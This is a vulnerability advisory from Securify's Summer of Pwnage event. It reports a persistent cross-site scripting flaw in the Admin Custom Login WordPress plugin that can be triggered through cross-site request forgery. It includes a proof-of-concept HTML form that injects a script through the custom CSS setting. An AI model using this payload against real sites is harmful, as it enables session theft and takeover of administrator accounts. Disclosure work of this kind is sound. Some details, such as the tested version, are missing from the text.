Security Bughunt

2017 - August - Amsterdam

2017 Target - IoT

Burak Kelebek - Securify, March 2017

Admin Custom Login WordPress plugin custom login page affected by persistent Cross-Site Scripting


A persistent Cross-Site Scripting vulnerability has been encountered in the Admin Custom Login WordPress plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. There is an option in this plugin to add custom style on the login page of wordpress. If you simply close the </style> tags you are able to put malicious script which will be executed on the login page.


For feedback or questions about this advisory mail us at sumofpwn at

The Summer of Pwnage

This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.



Tested versions

This issue was succesfully tested on the Admin Custom Login WordPress plugin version


There is currently no fix available.


Admin custom login plugin give ability to customize your WordPress admin login page according to you.

Pugin allows to change background color, background image, background slide show, login form color, login form font size, login form position, add social media icon on form and many more features.


It is possible as an Admin to put XSS on login page, but more interesting is the lack of CSRF, so if you can trick a logged-in admin to open a link with code below XSS will be added to the login page.

Proof of concept

      <form action="http://<target>/wp-admin/options-general.php?page=admin_custom_login" method="POST">
         <input type="hidden" name="Action" value="loginbgSave" />
         <input type="hidden" name="login_form_position" value="default" />
         <input type="hidden" name="Login_bg_value" value="undefined" />
         <input type="hidden" name="login_background_color" value="" />
         <input type="hidden" name="login_bg_color_overlay" value="undefined" />
         <input type="hidden" name="login_bg_image" value="" />
         <input type="hidden" name="login_form_opacity" value="10" />
         <input type="hidden" name="login_form_width" value="300" />
         <input type="hidden" name="login_form_radius" value="3" />
         <input type="hidden" name="login_border_style" value="undefined" />
         <input type="hidden" name="login_border_thikness" value="3" />
         <input type="hidden" name="login_border_color" value="" />
         <input type="hidden" name="login_bg_repeat" value="undefined" />
         <input type="hidden" name="login_bg_position" value="undefined" />
         <input type="hidden" name="login_enable_shadow" value="no" />
         <input type="hidden" name="login_shadow_color" value="" />
         <input type="hidden" name="login_custom_css" value="<h1>test</h2></style><script>alert(5)</script>" />
         <input type="hidden" name="login_form_left" value="700" />
         <input type="hidden" name="login_form_top" value="300" />
         <input type="hidden" name="login_form_float" value="center" />
         <input type="submit" value="Submit request" />